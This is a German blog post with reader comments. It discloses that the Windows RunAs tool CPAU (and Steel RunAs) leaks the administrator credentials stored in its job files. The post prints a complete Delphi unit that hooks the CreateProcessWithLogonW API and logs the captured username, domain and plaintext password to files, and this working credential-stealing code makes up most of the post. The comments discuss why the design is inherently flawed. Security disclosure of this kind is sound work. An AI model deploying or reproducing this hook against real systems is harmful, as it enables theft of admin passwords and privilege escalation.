[Update] CPAU die Logindaten unter dem Arsch weg klauen
Ich finde es ja immer wieder interessant, wenn Hannes Schurig (@SchurigH) erklärt, wie ihm das Tool CPAU hilft, seine Administratorenaufgaben zu erledigen
.
Besonders spannend finde ich es, wenn er erklärt, wie es damit möglich ist, dem einfachen Nutzer Administratorenrechte zu geben, um eine Anwendung auszuführen, ohne, dass der Nutzer die eigentlichen Logindaten erfährt. Möglich ist das bei dem Programm dadurch, dass man sogenannte Job-Dateien erstellt, in denen der auszuführende Befehl inklusive der Accountdaten des Administrators verschlüsselt abgelegt wird.
Letztens hat Hannes damit sogar ein Script gebaut, mit dem von einem Netzlaufwerk aus Programminstallationen ausgeführt werden können - natürlich wieder geschützt durch die Job-Dateien von CPAU.
Mich hat vor allem die sichere Verwahrung der Accountdaten fasziniert, denn wenn man sich das Tool genauer ansieht, erkennt man, dass für die Verschlüsselung der Job-Dateien garkein Passwort angegeben werden muss. Ich dachte mir "es müsste doch möglich sein, diese Job-Dateien auch wieder zu entschlüsseln" - aber um ehrlich zu sein, war ich heute irgendwie viel zu faul dafür. ![]()
Denn bei einem kleinen Test fiel mir auf, wie CPAU die auszuführenden Programme startet: das Zauberwort heißt CreateProcessWithLogonW. Dass diese Erkenntnis korrekt war, konnte ich dann sogar noch einmal im Blog des Erfinders von CPAU nachlesen.
Um nun an die Logindaten in so einer Job-Datei zu kommen, ist nun garnicht mehr so viel unbekanntes Wissen nötig. Das meiste, was man dazu braucht, habe ich schonmal in meinem Artikel über die uallCollection erwähnt. Wenn man sich die Beschreibung der Funktion CreateProcessWithLogonW in der MSDN-Bibliothek angeguckt hat, hat man gesehen, dass dort auch die Werte Username, Domain und Password mitgegeben werden müssen - beim Hooken dieser API-Funktion kann man diese Informationen also alle auf einen Schlag abgreifen...
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 | unit CPAU; interface procedure HookCPAU(const ATargetPath : String); procedure UnhookCPAU; implementation uses Windows, uallHook, SysUtils, DateUtils, ConstU; type LPBYTE = PBYTE; TStartupInfoW = record cb : DWORD; lpReserved : LPWSTR; lpDesktop : LPWSTR; lpTitle : LPWSTR; dwX : DWORD; dwY : DWORD; dwXSize : DWORD; dwYSize : DWORD; dwXCountChars : DWORD; dwYCountChars : DWORD; dwFillAttribute : DWORD; dwFlags : DWORD; wShowWindow : WORD; cbReserved2 : WORD; lpReserved2 : LPBYTE; hStdInput : THANDLE; hStdOutput : THANDLE; hStdError : THANDLE; end; PStartupInfoW = ^TStartupInfoW; var VCPAULib : HModule = 0; VTargetPath : String = ''; VNewCreateProcessWithLogonW : function (lpUsername : LPWSTR; lpDomain : LPWSTR; lpPassword : LPWSTR; dwLogonFlags: DWORD; lpApplicationName: LPWSTR; lpCommandLine : LPWSTR; dwCreationFlags : DWORD; lpEnvironment : Pointer; lpCurrentDirectory : LPWSTR; lpStartupInfo : PStartUpInfoW; lpProcessInfo : PProcessInformation) : BOOL; stdcall; VOldCreateProcessWithLogonW : function (lpUsername : LPWSTR; lpDomain : LPWSTR; lpPassword : LPWSTR; dwLogonFlags: DWORD; lpApplicationName: LPWSTR; lpCommandLine : LPWSTR; dwCreationFlags : DWORD; lpEnvironment : Pointer; lpCurrentDirectory : LPWSTR; lpStartupInfo : PStartUpInfoW; lpProcessInfo : PProcessInformation) : BOOL; stdcall; function CatchCreateProcessWithLogonW(lpUsername : LPWSTR; lpDomain : LPWSTR; lpPassword : LPWSTR; dwLogonFlags: DWORD; lpApplicationName: LPWSTR; lpCommandLine : LPWSTR; dwCreationFlags : DWORD; lpEnvironment : Pointer; lpCurrentDirectory : LPWSTR; lpStartupInfo : PStartUpInfoW; lpProcessInfo : PProcessInformation) : BOOL; stdcall; function FillZero(const AValue : Word; const ALength : Byte) : String; begin Result := IntToStr(AValue); while (Length(Result) < ALength) do Result := '0' + Result; end; var LDay : Word; LFile : TextFile; LHour : Word; LMinute : Word; LMonth : Word; LMSecond : Word; LSecond : Word; LTimeValue : String; LYear : Word; begin Result := VNewCreateProcessWithLogonW(lpUsername, lpDomain, lpPassword, dwLogonFlags, lpApplicationName, lpCommandLine, dwCreationFlags, lpEnvironment, lpCurrentDirectory, lpStartupInfo, lpProcessInfo); DecodeDateTime(Now, LYear, LMonth, LDay, LHour, LMinute, LSecond, LMSecond); LTimeValue := FillZero(LYear, 4) + FillZero(LMonth, 2) + FillZero(LDay, 2) + '_' + FillZero(LHour, 2) + FillZero(LMinute, 2) + FillZero(LSecond, 2) + FillZero(LMSecond, 2); AssignFile(LFile, VTargetPath + LTimeValue + '.log'); Rewrite(LFile); try WriteLn(LFile, 'Username : ', String(lpUsername)); WriteLn(LFile, 'Domain : ', String(lpDomain)); WriteLn(LFile, 'Password : ', String(lpPassword)); WriteLn(LFile, 'Application: ', String(lpApplicationName)); WriteLn(LFile, 'CommandLine: ', String(lpCommandLine)); WriteLn(LFile, 'CurrentDir : ', String(lpCurrentDirectory)); WriteLn(LFile, 'Success : ', Result); finally CloseFile(LFile); end; end; procedure HookCPAU(const ATargetPath : String); begin VCPAULib := GetModuleHandle(ADVAPI32); if (VCPAULib <> 0) then begin VTargetPath := ATargetPath; @VOldCreateProcessWithLogonW := GetProcAddress(VCPAULib, 'CreateProcessWithLogonW'); HookCode(@VOldCreateProcessWithLogonW, @CatchCreateProcessWithLogonW, @VNewCreateProcessWithLogonW); end; end; procedure UnhookCPAU; begin if (VCPAULib <> 0) then begin VCPAULib := 0; UnhookCode(@VNewCreateProcessWithLogonW); end; end; end. |
In meiner kleinen Testanwendung speichere ich die interessanten Informationen einfach jeweils in einer separaten Textdatei ab. Um nun an die Daten in so einer Job-Datei zu kommen, muss man einfach nur meine Testanwendung konfigurieren, diese starten und dann mit CPAU versuchen, die Job-Datei auszuführen, aus der man gerne die Accountdaten wissen möchte...
Lustig finde ich in diesem Zusammenhang, dass das Tool Steel RunAs genau das gleiche Problem hat wie CPAU - mit dem gleichen Trick lassen sich auch dessen Credentials klauen. Besonders lustig ist das deshalb, da diese u.a. hiermit für ihre sichere Aufbewahrung der Logindaten werben: "Strong encryption standards keep the embeded credentials safe and secure. Multiple loop RC4 encryption with Pseudo Random Seed is used for encrypting the credentials."
An diesem Beispiel sieht man mal wieder sehr schön, dass die Verschlüsselung nicht zwangsläufig das schwächste Glied der Kette sein muss.
Update:
Da wahrscheinlich so ziemlich jedes RunAs-Programm auf dem Markt dieses Problem haben wird, dachte ich mir, ich stelle hier mal eine kleine Liste mit den Programmen zusammen, die u.a. die Verteilung von sicheren RunAs-Dateien versprechen:
Sollte noch jemand weitere RunAs-Programme kennen, mit denen soetwas möglich ist, würde ich mich freuen, wenn ihr den Namen des Tools in den Kommentaren hinterlassen würdet.
Update:
Wie ich mitbekommen habe, lassen sich mit 7-Zip keine Archive öffnen, solange der Hook aktiviert ist. Immer wieder lustig, was unter Windows alles für Nebenwirkungen geben kann
.
Sollte übrigens jemand so unvorsichtig gewesen sein und das Fenster von CPAULD geschlossen haben, bevor er darin ENTER gedrückt hat, der muss einfach nur sein Windows neustarten, um den Hook wieder zu deaktivieren.
Zum Schluss noch etwas Rechtliches:
Der Autor dieses Programms haftet nicht für Schäden an Soft- oder Hardware oder Vermögensschäden, die durch das Benutzen des Programms entstehen, es sei denn, diese beruhen auf einem grob fahrlässigen oder vorsätzlichen Handeln des Autors, seiner Erfüllungsgehilfen oder seiner gesetzlichen Vertreter.
Administrative Grüße, Kenny






27. September 2010 um 11:53 Permalink
Wenn ich nicht auf der Leitung stehen, kann das im Prinzip bei keinem dieser Tools gar nicht anders funktionieren. Irgendwie muss man ja die Credentials für das WinAPI als Plain Text regenerieren, und das war's dann wohl.
27. September 2010 um 12:53 Permalink
Hallo Robert, nunja, im ersten Schritt bleiben die Programme verschont, die die Funktion LogonUser() oder LogonUserEx() verwenden und sich dann auf CreateProcessAsUser() abstützen. Das aber auch nur deshalb, weil ich die ersten beiden Methoden (LogonUser und LogonUserEx) nicht abfange. Da bei diesen ebenfalls die Credentials mitgeliefert werden, ist es schlussendlich das gleiche Spiel. Um es kurz zu machen: Das gesamte Konzept, die Logindaten für's RunAs mitzugeben, ist fehlerhaft - da hilft es auch nichts, die Credentials mit x Runden des Verschlüsselungsalgorithmus y zu drangsalieren.
27. September 2010 um 15:25 Permalink
Welchen Lösungsansatz gibt es? Wie würdest du das realisieren? Grobes Konzept.
27. September 2010 um 16:00 Permalink
Es gibt dafür keinen ordentlichen Lösungsansatz, da es sich hierbei um ein prinzipbedingtes Problem handelt. Die Devise heißt also: Entweder, der Benutzer darf Adminrechte haben, oder aber der Nutzer darf nur Programme nutzen, die keine Adminrechte voraussetzen.
Ich hatte vorhin noch eine andere Möglichkeit im Kopf, weiß aber persönlich nicht, in wieweit das ganze realisierbar ist. Früher zu "Partition Magic"-Zeiten wurde teilweise die Windows Preboot Environment verwendet, wenn eine Platte partitioniert werden musste. Auch "Avast!" verwendet die Preboot Environment, um abgeschottet Virenscans (Preboot Scans) laufen zu lassen.
Hier würde sich eventuell eine Möglichkeit ergeben, Programme in das dahinter liegende Windows zu installieren, ohne sich mit einem API-Hook einklinken zu können. Diese Lösung ließe sich dann allerdings nicht auf generelle RunAs-Aufgaben ausweiten.
5. Oktober 2010 um 18:10 Permalink
Kannst du für solche API-Hooks oder generell WinAPI-Programmierung mit Delphi Bücher oder Internetseiten empfehlen? THX.
5. Oktober 2010 um 19:04 Permalink
Wenn ich ehrlich sein soll: Nein, leider nicht. Das Hooking selber ist IMHO ziemlich straigh-forward. Wenn dich die Technik interessiert, kannst du dir ja mal den ausführlichen CodeProject-Artikel zu dem Thema durchlesen und dir den Quelltext der uallCollection ansehen. Und für die WinAPI-Programmierung braucht man eigentlich primär nur die MSDN-Library von Microsoft. Wird man dort nicht fündig, gibt es zu fast jeder Funktion eine Auswahl an C- oder Delphi-Beispielen, die sich via Google finden lassen.
10. Oktober 2010 um 12:03 Permalink
muss ich mir mal anschaun. danke!
[...] noch cleverer als ich hier reagieren, z.B. den Befehl mit erhöhten Rechten erneut probieren o.Ä. (CPAU Warnung, Nutzung auf eigene [...]
[...] Achtung! CPAU Passwörter sind nicht sicher verschlüsselt. Kenny zeigt, dass man CPAU in Produktivumgebungen nicht einsetzen sollte. [...]
[...] für das Löschen ist natürlich das Recht dazu, Adminrechte also. CPAU kann helfen, doch wie immer Vorsicht, CPAU ist nicht sicher. Dank [...]